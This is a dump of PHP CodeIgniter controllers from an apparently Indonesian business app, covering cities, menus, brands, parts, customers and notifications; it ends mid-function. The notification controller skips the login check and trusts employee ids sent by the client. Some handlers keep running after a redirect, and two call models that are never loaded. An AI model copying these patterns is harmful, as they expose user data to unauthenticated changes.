defined('BASEPATH') or exit('No direct script access allowed');
class ManageKota extends CI_Controller
{
function __construct()
{
parent::__construct();
$this->load->model('ModelDashboard', 'Dashboard');
$this->load->model('AllModels', 'Amod');
$this->load->library(['datatables', 'form_validation']);
$this->form_validation->set_error_delimiters('', '');
$this->Dashboard->ceklogin();
}
public function output_json($data, $encode = true)
{
if ($encode) $data = json_encode($data);
$this->output->set_content_type('application/json')->set_output($data);
}
public function index() {
$id_karyawan = $this->session->userdata('id_karyawan');
$datShm = $this->Dashboard->getData_SetHakMaster_byKARYAWAN($id_karyawan);
$datKota = $this->Dashboard->getData_Kota();
$no = 0;
foreach ($datKota as $key) {
$datSupplier = $this->Dashboard->getData_Supplier_byKOTA($key['ID_KOTA']);
$datPelanggan = $this->Dashboard->getData_Pelanggan_byKOTA($key['ID_KOTA']);
$datPihakke3 = $this->Dashboard->getData_Pihakke3_byKOTA($key['ID_KOTA']);
if ($datSupplier==TRUE OR $datPelanggan==TRUE OR $datPihakke3==TRUE) {
$lock = 1;
} else {
$lock = 0;
}
$datKota[$no++] += ['LOCK' => $lock];
}
if ($datShm[0]['KOTA_SHM']==0) {
$akses = "Tidak Berhak";
$datKota = NULL;
} else if ($datShm[0]['KOTA_SHM']==1) {
$akses = "Hanya Baca";
} else if ($datShm[0]['KOTA_SHM']==2) {
$akses = "Akses Penuh";
}
$data = [
'sidebar' => "dashboard",
'navChild' => "",
'kota' => $datKota,
'hak' => $datShm[0]['KOTA_SHM'],
'akses' => $akses,
];
$this->load->view('master/Kota', $data);
}
public function simpan() {
$method = $this->input->post('method');
$id_kota = $this->input->post('id');
$nama_kota = $this->input->post('nama_kota');
$input = [
'NAMA_KOTA' => $nama_kota
];
$action = $this->Dashboard->create('kota', $input);
if ($action) {
$this->session->set_flashdata('success', 'ditambah');
redirect('ManageKota');
} else {
$this->session->set_flashdata('failed', 'ditambah');
redirect('ManageKota');
}
}
public function ubah() {
$method = $this->input->post('method');
$id_kota = $this->input->post('id_kotaed');
$nama_kota = $this->input->post('nama_kotaed');
$update = [
'NAMA_KOTA' => $nama_kota
];
$action = $this->Dashboard->update('kota', $update,'ID_KOTA',$id_kota);
if ($action) {
$this->session->set_flashdata('success', 'diubah');
redirect('ManageKota');
} else {
$this->session->set_flashdata('failed', 'diubah');
redirect('ManageKota');
}
}
public function hapus() {
$id = $this->input->post('id_kotadel');
$datSupplier = $this->Dashboard->getData_Supplier_byKOTA($id);
$datPelanggan = $this->Dashboard->getData_Pelanggan_byKOTA($id);
$datPihakke3 = $this->Dashboard->getData_Pihakke3_byKOTA($id);
if ($datSupplier==TRUE OR $datPelanggan==TRUE OR $datPihakke3==TRUE) {
$this->session->set_flashdata('data_used', 'error');
redirect($_SERVER['HTTP_REFERER']);
}
$action = $this ->Kota->delete('kota', $id, 'ID_KOTA');
if ($action) {
$this->session->set_flashdata('success', 'dihapus');
redirect('ManageKota');
} else {
$this->session->set_flashdata('failed', 'dihapus');
redirect('ManageKota');
}
}
}
File diff suppressed because it is too large Load Diff
@@ -0,0 +1,137 @@
<?php
use Restserver\Libraries\REST_Controller;
defined('BASEPATH') or exit('No direct script access allowed');
require APPPATH . 'libraries/REST_Controller.php';
require APPPATH . 'libraries/Format.php';
class ManageMenu extends CI_Controller
{
function __construct()
{
parent::__construct();
$this->load->model('ModelDashboard', 'Dashboard');
$this->load->model('AllModels', 'Amod');
$this->load->library(['datatables', 'form_validation']);
$this->form_validation->set_error_delimiters('', '');
$this->Dashboard->ceklogin();
}
public function output_json($data, $encode = true)
{
if ($encode) $data = json_encode($data);
$this->output->set_content_type('application/json')->set_output($data);
}
public function index() {
$id_karyawan = $this->session->userdata('id_karyawan');
$datMenu = $this->Dashboard->getData_Menu();
$no = 0;
foreach ($datMenu as $key) {
$datShm = $this->Dashboard->getData_SetHakMenu_byMENU($key['ID_MENU']);
if ($datShm==TRUE) {
$lock = 1;
} else {
$lock = 0;
}
$datMenu[$no++] += ['LOCK' => $lock];
}
if ($id_karyawan==1) {
$akses = "Akses Penuh";
$hak = 2;
} else {
$akses = "Tidak Berhak";
$hak = 0;
$datMenu = NULL;
}
$data = [
'sidebar' => "dashboard",
'navChild' => "",
'menu' => $datMenu,
'hak' => $hak,
'akses' => $akses,
];
$this->load->view('master/Menu', $data);
}
public function simpan() {
$nama_menu = $this->input->post('nama_menu');
$kode_menu = $this->input->post('kode_menu');
$kode_menu = strtoupper($kode_menu);
$datMenu = $this->Dashboard->getData_Menu_byKODE_byNAMA($kode_menu, $nama_menu);
if ($datMenu==TRUE) {
$this->session->set_flashdata('data_same', 'error');
redirect('ManageMenu');
}
$input = [
'KODE_MENU' => $kode_menu,
'NAMA_MENU' => $nama_menu
];
$action = $this->Dashboard->create('menu', $input);
if ($action) {
$this->session->set_flashdata('success', 'ditambah');
redirect('ManageMenu');
} else {
$this->session->set_flashdata('failed', 'ditambah');
redirect('ManageMenu');
}
}
public function ubah() {
$id_menu = $this->input->post('id_menued');
$nama_menu = $this->input->post('nama_menued');
$kode_menu = $this->input->post('kode_menued');
$kode_menu = strtoupper($kode_menu);
$datMenu = $this->Dashboard->getData_Menu_byKODE_byNAMA($kode_menu, $nama_menu, $id_menu);
if ($datMenu==TRUE) {
$this->session->set_flashdata('data_same', 'error');
redirect('ManageMenu');
}
$update = [
'KODE_MENU' => $kode_menu,
'NAMA_MENU' => $nama_menu
];
$action = $this->Dashboard->update('menu', $update, 'ID_MENU', $id_menu);
if ($action) {
$this->session->set_flashdata('success', 'diubah');
redirect('ManageMenu');
} else {
$this->session->set_flashdata('failed', 'diubah');
redirect('ManageMenu');
}
}
public function hapus() {
$id = $this->input->post('id_menudel');
$datMenu = $this->Dashboard->getData_SetHakMenu_byMENU($id);
if ($datMenu==TRUE) {
$this->session->set_flashdata('data_used', 'error');
redirect('ManageMenu');
}
$action = $this->Dashboard->delete('menu', $id, 'ID_MENU');
if ($action) {
$this->session->set_flashdata('success', 'dihapus');
redirect('ManageMenu');
} else {
$this->session->set_flashdata('failed', 'dihapus');
redirect('ManageMenu');
}
}
}
@@ -0,0 +1,137 @@
<?php
use Restserver\Libraries\REST_Controller;
defined('BASEPATH') or exit('No direct script access allowed');
require APPPATH . 'libraries/REST_Controller.php';
require APPPATH . 'libraries/Format.php';
class ManageMerk extends CI_Controller
{
function __construct()
{
parent::__construct();
$this->load->model('ModelDashboard', 'Dashboard');
$this->load->library(['datatables', 'form_validation']);
$this->form_validation->set_error_delimiters('', '');
$this->Dashboard->ceklogin();
}
public function output_json($data, $encode = true)
{
if ($encode) $data = json_encode($data);
$this->output->set_content_type('application/json')->set_output($data);
}
public function index() {
$id_karyawan = $this->session->userdata('id_karyawan');
$datShm = $this->Dashboard->getData_SetHakMaster_byKARYAWAN($id_karyawan);
$datMerk = $this->Dashboard->getData_Merk();
$no = 0;
foreach ($datMerk as $key) {
$datBarang = $this->Dashboard->getData_Barang_byMERK($key['ID_MERK']);
if ($datBarang==TRUE) {
$lock = 1;
} else {
$lock = 0;
}
$datMerk[$no++] += ['LOCK' => $lock];
}
if ($datShm[0]['MERK_SHM']==0) {
$akses = "Tidak Berhak";
$datMerk = NULL;
} else if ($datShm[0]['MERK_SHM']==1) {
$akses = "Hanya Baca";
} else if ($datShm[0]['MERK_SHM']==2) {
$akses = "Akses Penuh";
}
$data = [
'sidebar' => "dashboard",
'navChild' => "",
'merk' => $datMerk,
'hak' => $datShm[0]['MERK_SHM'],
'akses' => $akses,
];
$this->load->view('master/Merk', $data);
}
public function simpan() {
$method = $this->input->post('method');
$id = $this->input->post('id_merk');
$nama_merk = $this->input->post('nama_merk');
$nama_merk = strtoupper($nama_merk);
$datMerk = $this->Dashboard->getData_Merk_byNAMA($nama_merk);
if ($datMerk==TRUE) {
$this->session->set_flashdata('data_same', 'error');
redirect('ManageMerk');
}
$input = [
'NAMA_MERK' => $nama_merk
];
$action = $this->Dashboard->create('merk', $input);
if ($action) {
$this->session->set_flashdata('success', 'ditambah');
redirect('ManageMerk');
} else {
$this->session->set_flashdata('failed', 'ditambah');
redirect('ManageMerk');
}
}
public function ubah() {
$method = $this->input->post('method');
$id_merk = $this->input->post('id_merked');
$nama_merk = $this->input->post('nama_merked');
$nama_merk = strtoupper($nama_merk);
$datMerk = $this->Dashboard->getData_Merk_byNAMA($nama_merk, $id_merk);
if ($datMerk==TRUE) {
$this->session->set_flashdata('data_same', 'error');
redirect('ManageMerk');
}
$update = [
'NAMA_MERK' => $nama_merk
];
$action = $this->Dashboard->update('merk', $update, 'ID_MERK', $id_merk);
if ($action) {
$this->session->set_flashdata('success', 'diubah');
redirect('ManageMerk');
} else {
$this->session->set_flashdata('failed', 'diubah');
redirect('ManageMerk');
}
}
public function hapus() {
$method = $this->input->post('method');
$id = $this->input->post('id_merkdel');
$datMerk = $this->Dashboard->getData_Barang_byMERK($id);
if ($datMerk==TRUE) {
$this->session->set_flashdata('data_used', 'error');
redirect('ManageMerk');
}
$action = $this->Dashboard->delete('merk', $id, 'ID_MERK');
if ($action) {
$this->session->set_flashdata('success', 'dihapus');
redirect('ManageMerk');
} else {
$this->session->set_flashdata('failed', 'dihapus');
redirect('ManageMerk');
}
}
}
@@ -0,0 +1,137 @@
<?php
use Restserver\Libraries\REST_Controller;
defined('BASEPATH') or exit('No direct script access allowed');
require APPPATH . 'libraries/REST_Controller.php';
require APPPATH . 'libraries/Format.php';
class ManageModel extends CI_Controller
{
function __construct()
{
parent::__construct();
$this->load->model('ModelDashboard', 'Dashboard');
$this->load->library(['datatables', 'form_validation']);
$this->form_validation->set_error_delimiters('', '');
$this->Dashboard->ceklogin();
}
public function output_json($data, $encode = true)
{
if ($encode) $data = json_encode($data);
$this->output->set_content_type('application/json')->set_output($data);
}
public function index() {
$id_karyawan = $this->session->userdata('id_karyawan');
$datShm = $this->Dashboard->getData_SetHakMaster_byKARYAWAN($id_karyawan);
$datModel = $this->Dashboard->getData_Model();
$no = 0;
foreach ($datModel as $key) {
$datBarang = $this->Dashboard->getData_Barang_byMODEL($key['ID_MODEL']);
if ($datBarang==TRUE) {
$lock = 1;
} else {
$lock = 0;
}
$datModel[$no++] += ['LOCK' => $lock];
}
if ($datShm[0]['MODEL_SHM']==0) {
$akses = "Tidak Berhak";
$datModel = NULL;
} else if ($datShm[0]['MODEL_SHM']==1) {
$akses = "Hanya Baca";
} else if ($datShm[0]['MODEL_SHM']==2) {
$akses = "Akses Penuh";
}
$data = [
'sidebar' => "dashboard",
'navChild' => "",
'model' => $datModel,
'hak' => $datShm[0]['MODEL_SHM'],
'akses' => $akses,
];
$this->load->view('master/Model', $data);
}
public function simpan() {
$method = $this->input->post('method');
$id = $this->input->post('id_model');
$nama_model = $this->input->post('nama_model');
$nama_model = strtoupper($nama_model);
$datModel = $this->Dashboard->getData_Model_byNAMA($nama_model);
if ($datModel==TRUE) {
$this->session->set_flashdata('data_same', 'error');
redirect('ManageModel');
}
$input = [
'NAMA_MODEL' => $nama_model
];
$action = $this->Dashboard->create('model', $input);
if ($action) {
$this->session->set_flashdata('success', 'ditambah');
redirect('ManageModel');
} else {
$this->session->set_flashdata('failed', 'ditambah');
redirect('ManageModel');
}
}
public function ubah() {
$method = $this->input->post('method');
$id_model = $this->input->post('id_modeled');
$nama_model = $this->input->post('nama_modeled');
$nama_model = strtoupper($nama_model);
$datModel = $this->Dashboard->getData_Model_byNAMA($nama_model, $id_model);
if ($datModel==TRUE) {
$this->session->set_flashdata('data_same', 'error');
redirect('ManageModel');
}
$update = [
'NAMA_MODEL' => $nama_model
];
$action = $this->Dashboard->update('model', $update, 'ID_MODEL', $id_model);
if ($action) {
$this->session->set_flashdata('success', 'diubah');
redirect('ManageModel');
} else {
$this->session->set_flashdata('failed', 'diubah');
redirect('ManageModel');
}
}
public function hapus() {
$method = $this->input->post('method');
$id = $this->input->post('id_modeldel');
$datModel = $this->Dashboard->getData_Barang_byMODEL($id);
if ($datModel==TRUE) {
$this->session->set_flashdata('data_used', 'error');
redirect('ManageModel');
}
$action = $this->Dashboard->delete('model', $id, 'ID_MODEL');
if ($action) {
$this->session->set_flashdata('success', 'dihapus');
redirect('ManageModel');
} else {
$this->session->set_flashdata('failed', 'dihapus');
redirect('ManageModel');
}
}
}
@@ -0,0 +1,263 @@
<?php
use Restserver\Libraries\REST_Controller;
defined('BASEPATH') or exit('No direct script access allowed');
require APPPATH . 'libraries/REST_Controller.php';
require APPPATH . 'libraries/Format.php';
class ManageNotifikasi extends CI_Controller
{
function __construct()
{
parent::__construct();
$this->load->model('ModelNotifikasi', 'Notifikasi');
$this->load->library(['datatables', 'form_validation']);
$this->form_validation->set_error_delimiters('', '');
}
public function output_json($data, $encode = true)
{
if ($encode) $data = json_encode($data);
$this->output->set_content_type('application/json')->set_output($data);
}
public function save_reminder()
{
$tgl = $this->input->post("tanggal");
$reminder = $this->input->post("reminder");
$id_karyawan = $this->input->post("id_karyawan");
$data = [
'TGL_NOTIFIKASI' => $tgl,
'JENIS_NOTIFIKASI' => 4,
'KET_NOTIFIKASI' => $reminder
];
if ($this->Notifikasi->create('notifikasi', $data)) {
$id_notif = $this->Notifikasi->getIdNotif(4, $reminder);
$data = [
'KARYAWAN_ID' => $id_karyawan,
'NOTIFIKASI_ID' => $id_notif[0]['ID_NOTIFIKASI'],
'STATUS' => 0
];
if ($this->Notifikasi->create('log_notifikasi', $data)) {
$this->output_json(
[
'value' => 1,
'message' => 'Success'
]
);
} else {
$this->output_json(
[
'value' => 0,
'message' => 'error'
]
);
}
} else {
$this->output_json(
[
'value' => 0,
'message' => 'error'
]
);
}
}
public function getReminder()
{
$tgl = $this->input->post('tanggal');
$id_karyawan = $this->input->post('id_karyawan');
$data = $this->Notifikasi->getDataReminder($tgl, $id_karyawan);
if ($data != null) {
$this->output_json([
'value' => 1,
'dataReminder' => $data
]);
} else {
$this->output_json([
'value' => 0,
'message' => 'Error'
]);
}
}
public function flash_notif()
{
$id_karyawan = $this->input->post('id_karyawan');
$data = $this->Notifikasi->getDataFlashNotif($id_karyawan);
if ($data != null) {
$this->output_json([
'value' => 1,
'dataFlashNotif' => $data
]);
} else {
$this->output_json(
[
'value' => 0,
'message' => 'Tidak Ada Flash Notif',
]
);
}
}
public function update_log_flash_notif()
{
$id_log = $this->input->post('id_log_notifikasi');
$data = [
'STATUS' => 1
];
if ($this->Notifikasi->updateLogNotif($id_log, $data,)) {
$this->output_json(
[
'value' => 1,
'message' => 'Success'
]
);
} else {
$this->output_json(
[
'value' => 0,
'message' => 'error'
]
);
}
}
public function notif()
{
$jabatan = $this->input->post('jabatan');
$id_karyawan = $this->input->post('id_karyawan');
$data = null;
if ($jabatan == "ADMINISTRATOR" AND $id_karyawan!=50) {
$data = $this->Notifikasi->getDataNotif(5, 0, $id_karyawan);
} else if ($jabatan == "ADMIN SALES" OR $jabatan == "SALES") {
$data = $this->Notifikasi->getDataNotif_AllNotif7($id_karyawan);
} else if ($jabatan == "ADMIN UMUM") {
$data = $this->Notifikasi->getDataNotif_AllNotif6(6, $id_karyawan);
} else {
$data = $this->Notifikasi->getDataNotif_AllNotif6(6, $id_karyawan);
}
if ($data != null) {
$this->output_json(
[
'value' => 1,
'dataNotif' => $data
]
);
} else {
$this->output_json(
[
'value' => 0,
'message' => 'Tidak Ada Notifikasi'
]
);
}
}
public function baca_notif()
{
$id_log_notifikasi = $this->input->get('id_log_notifikasi');
$data = [
'STATUS' => 2
];
$action = $this->Notifikasi->updateLogNotif($id_log_notifikasi, $data);
$datLogNotifikasi = $this->Notifikasi->getData_LogNotifikasi_byNOTIFIKASI($id_log_notifikasi);
if ($datLogNotifikasi[0]['JENIS_NOTIFIKASI']==6) {
redirect('Authority/dataFormKaryawan_All_A1');
} else if ($datLogNotifikasi[0]['JENIS_NOTIFIKASI']==7) {
$id_sav = $datLogNotifikasi[0]['SAV_ID'];
redirect("ManageVisit/dataVisitUser_Sales_A2/$id_sav");
}
}
public function baca_notif_semua()
{
$id_karyawan = $this->session->userdata('id_karyawan');
$datLogNotifikasi = $this->Notifikasi->getData_LogNotifikasi_byKARYAWAN_status1($id_karyawan);
foreach ($datLogNotifikasi as $key) {
$update = [
'STATUS' => 2
];
$action = $this->Notifikasi->update('log_notifikasi', $update, 'ID_LOG_NOTIFIKASI', $key['ID_LOG_NOTIFIKASI']);
}
redirect($_SERVER['HTTP_REFERER']);
}
public function histori_notif() {
$id_karyawan = $this->session->userdata('id_karyawan');
$datHnf = $this->Notifikasi->getData_HistoriNotifikasi_byKARYAWAN_orderDESC_limit1($id_karyawan);
if ($datHnf==FALSE) {
$historiNotif = "Pop Up Notifikasi Hari Ini\nKosong..";
} else {
$ket = $datHnf[0]['KET_HNF'];
$historiNotif = "$ket";
}
$data = array(
'historiNotif' => $historiNotif,
);
$this->output_json($data);
}
public function tambahlaporan_A1() {
$id_bantuan = $this->input->post('id');
$jenis_bantuan = $this->input->post('jenis_bantuan');
$ket_bantuan = $this->input->post('ket_bantuan');
$id_karyawan = $this->session->userdata('id_karyawan');
$tgl = date('Y-m-d');
$datAdministrator = $this->Dashboard->getData_AdministratorAll();
$datKaryawan = $this->Dashboard->getData_Karyawan($id_karyawan);
$nama_panggilan_karyawan = $datKaryawan[0]['NAMA_PANGGILAN_KARYAWAN'];
if ($jenis_bantuan==0) {
$ket_notifikasi = "Laporan Bug dari $nama_panggilan_karyawan.";
} else if ($jenis_bantuan==1) {
$ket_notifikasi = "Request Menu dari $nama_panggilan_karyawan.";
}
$input = [
'TGL_BANTUAN' => $tgl,
'JENIS_BANTUAN' => $jenis_bantuan,
'KET_BANTUAN' => $ket_bantuan,
'KARYAWAN_ID' => $id_karyawan
];
$action = $this->Notifikasi->create('bantuan', $input);
foreach ($datAdministrator as $key) {
$input = [
'TGL_NOTIFIKASI' => $tgl,
'JENIS_NOTIFIKASI' => '5',
'KET_NOTIFIKASI' => $ket_notifikasi
];
$action = $this->Notifikasi->create('notifikasi', $input);
$id_notifikasi = $this->Dashboard->getID_NotifikasiMax();
$id_notifikasi = $id_notifikasi[0]['ID_NOTIFIKASI'];
$input = [
'KARYAWAN_ID' => $key['ID_KARYAWAN'],
'STATUS' => '0',
'NOTIFIKASI_ID' => $id_notifikasi
];
$action = $this->Notifikasi->create('log_notifikasi', $input);
}
if ($action) {
$this->session->set_flashdata('success', 'dikirimkan');
redirect($_SERVER['HTTP_REFERER']);
} else {
$this->session->set_flashdata('failed', 'dikirimkan');
redirect($_SERVER['HTTP_REFERER']);
}
}
}
@@ -0,0 +1,161 @@
<?php
defined('BASEPATH') or exit('No direct script access allowed');
class ManagePart extends CI_Controller
{
function __construct()
{
parent::__construct();
$this->load->model('ModelDashboard', 'Dashboard');
$this->load->model('AllModels', 'Amod');
$this->load->library(['datatables', 'form_validation']);
$this->form_validation->set_error_delimiters('', '');
$this->Dashboard->ceklogin();
}
public function output_json($data, $encode = true)
{
if ($encode) $data = json_encode($data);
$this->output->set_content_type('application/json')->set_output($data);
}
public function index() {
$id_karyawan = $this->session->userdata('id_karyawan');
$datShm = $this->Dashboard->getData_SetHakMaster_byKARYAWAN($id_karyawan);
$datPart = $this->Dashboard->getData_Part();
$tgl = date('Y-m-d');
$no = 0;
foreach ($datPart as $key) {
$datIo = $this->Dashboard->getData_TransaksiStock_byPART($key['ID_PART']);
if ($datIo==TRUE) {
$lock = 1;
} else {
$lock = 0;
}
$datPart[$no++] += ['LOCK' => $lock];
}
if ($datShm[0]['PART_SHM']==0) {
$akses = "Tidak Berhak";
$datPart = NULL;
} else if ($datShm[0]['PART_SHM']==1) {
$akses = "Hanya Baca";
} else if ($datShm[0]['PART_SHM']==2) {
$akses = "Akses Penuh";
}
$data = [
'sidebar' => "dashboard",
'navChild' => "",
'part' => $datPart,
'hak' => $datShm[0]['PART_SHM'],
'akses' => $akses,
'tgl' => $tgl
];
$this->load->view('master/Part', $data);
}
public function simpan() {
$method = $this->input->post('method');
$id_part = $this->input->post('id');
$nama_part = $this->input->post('nama_part');
$hpp_hpar = $this->input->post('hpp_hpar');
$tgl = date('Y-m-d');
$hpp_hpar = str_replace(',', '.', $hpp_hpar);
$check_nilai = is_numeric($hpp_hpar);
if ($check_nilai==FALSE) {
$hpp_hpar = 0;
}
if ($hpp_hpar<=0) {
$this->session->set_flashdata('not_zero_negative', 'error');
redirect($_SERVER['HTTP_REFERER']);
}
$input = [
'NAMA_PART' => $nama_part
];
$action = $this->Dashboard->create('part', $input);
$datPart = $this->Dashboard->getID_PartMax();
$id_part = $datPart[0]['ID_PART'];
$input = [
'PART_ID' => $id_part,
'TGL_HPAR' => $tgl,
'HPP_HPAR' => $hpp_hpar
];
$action = $this->Dashboard->create('harga_part', $input);
if ($action) {
$this->session->set_flashdata('success', 'ditambah');
redirect($_SERVER['HTTP_REFERER']);
} else {
$this->session->set_flashdata('failed', 'ditambah');
redirect($_SERVER['HTTP_REFERER']);
}
}
public function ubah() {
$method = $this->input->post('method');
$id_part = $this->input->post('id_parted');
$hpp_hpar = $this->input->post('hpp_hpared');
$tgl = date('Y-m-d');
$hpp_hpar = str_replace(',', '.', $hpp_hpar);
$check_nilai = is_numeric($hpp_hpar);
if ($check_nilai==FALSE) {
$hpp_hpar = 0;
}
if ($hpp_hpar<=0) {
$this->session->set_flashdata('not_zero_negative', 'error');
redirect($_SERVER['HTTP_REFERER']);
}
$input = [
'HPP_HPAR' => $hpp_hpar,
'TGL_HPAR' => $tgl,
'PART_ID' => $id_part
];
$action = $this->Dashboard->create('harga_part', $input);
if ($action) {
$this->session->set_flashdata('success', 'diperbaruhi');
redirect($_SERVER['HTTP_REFERER']);
} else {
$this->session->set_flashdata('failed', 'diperbaruhi');
redirect($_SERVER['HTTP_REFERER']);
}
}
public function hapus() {
$method = $this->input->post('method');
$id = $this->input->post('id_partdel');
$datIo = $this->Dashboard->getData_TransaksiStock_byPART($id);
if ($datIo==TRUE) {
$this->session->set_flashdata('data_used', 'error');
redirect($_SERVER['HTTP_REFERER']);
}
$action = $this->Dashboard->delete('harga_part', $id, 'PART_ID');
$action = $this->Dashboard->delete('part', $id, 'ID_PART');
if ($action) {
$this->session->set_flashdata('success', 'dihapus');
redirect($_SERVER['HTTP_REFERER']);
} else {
$this->session->set_flashdata('failed', 'dihapus');
redirect($_SERVER['HTTP_REFERER']);
}
}
}
@@ -0,0 +1,374 @@
<?php
defined('BASEPATH') or exit('No direct script access allowed');
class ManagePelanggan extends CI_Controller
{
function __construct()
{
parent::__construct();
$this->load->model('ModelDashboard', 'Dashboard');
$this->load->model('AllModels', 'Amod');
$this->load->library(['datatables', 'form_validation']);
$this->form_validation->set_error_delimiters('', '');
$this->Dashboard->ceklogin();
}
public function output_json($data, $encode = true)
{
if ($encode) $data = json_encode($data);
$this->output->set_content_type('application/json')->set_output($data);
}
public function index() {
$id_karyawan = $this->session->userdata('id_karyawan');
$username = $this->session->userdata('username');
$datShm = $this->Dashboard->getData_SetHakMaster_byKARYAWAN($id_karyawan);
$datKelompok = $this->Dashboard->getData_Kelompok();
$datKota = $this->Dashboard->getData_Kota();
$datPelLatest = $this->Dashboard->getData_Pelanggan_orderDESC_limit10();
$tgl_now = date('d/m/Y');
$datSpe = $this->Dashboard->getData_SetPelanggan_byKARYAWAN($id_karyawan);
if ($datSpe==FALSE) {
$id_kota = 2;
$id_kelompok = 0;
$nama_spe = NULL;
$type_spe = 9;
} else {
$id_kota = $datSpe[0]['KOTA_ID'];
$id_kelompok = $datSpe[0]['KELOMPOK_ID'];
$nama_spe = $datSpe[0]['NAMA_SPE'];
$type_spe = $datSpe[0]['TYPE_SPE'];
}
$datPelanggan = $this->Dashboard->getData_Pelanggan_byNAMA_byTYPE_byKOTA_byKELOMPOK($nama_spe, $type_spe, $id_kota, $id_kelompok);
$no = 0;
foreach ($datPelanggan as $key) {
$datSo = $this->Dashboard->getData_SalesOrder_byPELANGGAN($key['ID_PELANGGAN']);
$datHsn = $this->Dashboard->getData_HistoriSn_byPELANGGAN($key['ID_PELANGGAN']);
$datPda = $this->Dashboard->getData_PiutangDagang_byPELANGGAN($key['ID_PELANGGAN']);
$datDpj = $this->Dashboard->getData_DpPenjualan_byPELANGGAN($key['ID_PELANGGAN']);
$datService = $this->Dashboard->getData_Service_byPELANGGAN($key['ID_PELANGGAN']);
if ($datSo==TRUE OR $datHsn==TRUE OR $datPda==TRUE OR $datDpj==TRUE OR $datService==TRUE) {
$lock = 1;
} else {
$lock = 0;
}
$datPelanggan[$no++] += ['LOCK' => $lock];
}
if ($datShm[0]['PELANGGAN_SHM']==0) {
$akses = "Tidak Berhak";
$datPelanggan = NULL;
$datPelLatest = NULL;
} else if ($datShm[0]['PELANGGAN_SHM']==1) {
$akses = "Hanya Baca";
} else if ($datShm[0]['PELANGGAN_SHM']==2) {
$akses = "Akses Penuh";
}
$data = [
'sidebar' => "dashboard",
'navChild' => "",
'pelanggan' => $datPelanggan,
'pel_latest' => $datPelLatest,
'kelompok' => $datKelompok,
'kota' => $datKota,
'id_kelompok' => $id_kelompok,
'id_kota' => $id_kota,
'nama_spe' => $nama_spe,
'type_spe' => $type_spe,
'tgl_now' => $tgl_now,
'hak' => $datShm[0]['PELANGGAN_SHM'],
'akses' => $akses,
'username' => $username,
];
$this->load->view('master/Pelanggan', $data);
}
public function simpanset_AA1() {
$method = $this->input->post('method');
$id_kelompok = $this->input->post('id_kelompok');
$id_kota = $this->input->post('id_kota');
$nama_spe = $this->input->post('nama_spe');
$type_spe = $this->input->post('type_spe');
$id_karyawan = $this->session->userdata('id_karyawan');
$tgl = date('Y-m-d H:i:s');
$nama_spe = strtoupper($nama_spe);
$datSpe = $this->Dashboard->getData_SetPelanggan_byKARYAWAN($id_karyawan);
if ($datSpe==FALSE) {
$input = [
'KELOMPOK_ID' => $id_kelompok,
'KOTA_ID' => $id_kota,
'NAMA_SPE' => $nama_spe,
'TYPE_SPE' => $type_spe,
'KARYAWAN_ID' => $id_karyawan,
'LAST_SPE' => $tgl,
];
$action = $this->Dashboard->create('set_pelanggan', $input);
$set = 1;
} else {
$update = [
'KELOMPOK_ID' => $id_kelompok,
'KOTA_ID' => $id_kota,
'NAMA_SPE' => $nama_spe,
'TYPE_SPE' => $type_spe,
'LAST_SPE' => $tgl,
];
$action = $this->Dashboard->update('set_pelanggan', $update, 'ID_SPE', $datSpe[0]['ID_SPE']);
$set = 2;
}
if ($set==1) {
$this->session->set_flashdata('filter_success', 'ditambah');
redirect($_SERVER['HTTP_REFERER']);
} else if ($set==2) {
$this->session->set_flashdata('filter_success', 'diperbaruhi');
redirect($_SERVER['HTTP_REFERER']);
} else {
$this->session->set_flashdata('filter_failed', 'ditambah');
redirect($_SERVER['HTTP_REFERER']);
}
}
public function simpan() {
$method = $this->input->post('method');
$id_pelanggan = $this->input->post('id');
$id_kelompok = $this->input->post('id_kelompok');
$id_kota = $this->input->post('id_kota');
$nama_pelanggan = $this->input->post('nama_pelanggan');
$alias_pelanggan = $this->input->post('alias_pelanggan');
$alamat_pelanggan = $this->input->post('alamat_pelanggan');
$kirim_pelanggan = $this->input->post('kirim_pelanggan');
$telp_pelanggan = $this->input->post('telp_pelanggan');
$pic_pelanggan = $this->input->post('pic_pelanggan');
$npwp_pelanggan = $this->input->post('npwp_pelanggan');
$email_pelanggan = $this->input->post('email_pelanggan');
$type_pelanggan = $this->input->post('type_pelanggan');
$top_pelanggan = $this->input->post('top_pelanggan');
$id_karyawan = $this->session->userdata('id_karyawan');
$datPelanggan = $this->Dashboard->getData_Pelanggan_byNAMA($nama_pelanggan);
if ($datPelanggan==TRUE) {
$this->session->set_flashdata('data_copy', 'error');
redirect('ManagePelanggan');
}
if ($top_pelanggan<0) {
$this->session->set_flashdata('not_valid', 'error');
redirect('ManagePelanggan');
}
if ($id_karyawan==11) {
$top_pelanggan = 0;
}
if ($type_pelanggan=="2") {
$limit_pelanggan=25000000;
} else if ($type_pelanggan=="1") {
$limit_pelanggan=100000000;
} else if ($type_pelanggan=="0") {
$limit_pelanggan=300000000;
}
$email_pelanggan = preg_replace('/"/', '', $email_pelanggan);
$input = [
'NAMA_PELANGGAN' => $nama_pelanggan,
'ALIAS_PELANGGAN' => $alias_pelanggan,
'ALAMAT_PELANGGAN' => $alamat_pelanggan,
'KIRIM_PELANGGAN' => $kirim_pelanggan,
'TELP_PELANGGAN' => $telp_pelanggan,
'PIC_PELANGGAN' => $pic_pelanggan,
'NPWP_PELANGGAN' => $npwp_pelanggan,
'EMAIL_PELANGGAN' => $email_pelanggan,
'TYPE_PELANGGAN' => $type_pelanggan,
'KELOMPOK_ID' => $id_kelompok,
'KOTA_ID' => $id_kota,
'LIMIT_PELANGGAN' => $limit_pelanggan,
'TOP_PELANGGAN' => $top_pelanggan,
'JANGKA_PELANGGAN' => '60'
];
$action = $this->Dashboard->create('pelanggan', $input);
if ($action) {
$this->session->set_flashdata('success', 'ditambah');
redirect('ManagePelanggan');
} else {
$this->session->set_flashdata('failed', 'ditambah');
redirect('ManagePelanggan');
}
}
public function ubah() {
$method = $this->input->post('method');
$id_pelanggan = $this->input->post('id_pelangganed');
$type_pelanggan = $this->input->post('type_pelangganed');
$id_kota = $this->input->post('id_kotaed');
$nama_pelanggan = $this->input->post('nama_pelangganed');
$alias_pelanggan = $this->input->post('alias_pelangganed');
$alamat_pelanggan = $this->input->post('alamat_pelangganed');
$kirim_pelanggan = $this->input->post('kirim_pelangganed');
$telp_pelanggan = $this->input->post('telp_pelangganed');
$pic_pelanggan = $this->input->post('pic_pelangganed');
$npwp_pelanggan = $this->input->post('npwp_pelangganed');
$email_pelanggan = $this->input->post('email_pelangganed');
$id_kelompok = $this->input->post('id_kelompoked');
$limit_pelanggan = $this->input->post('limit_pelangganed');
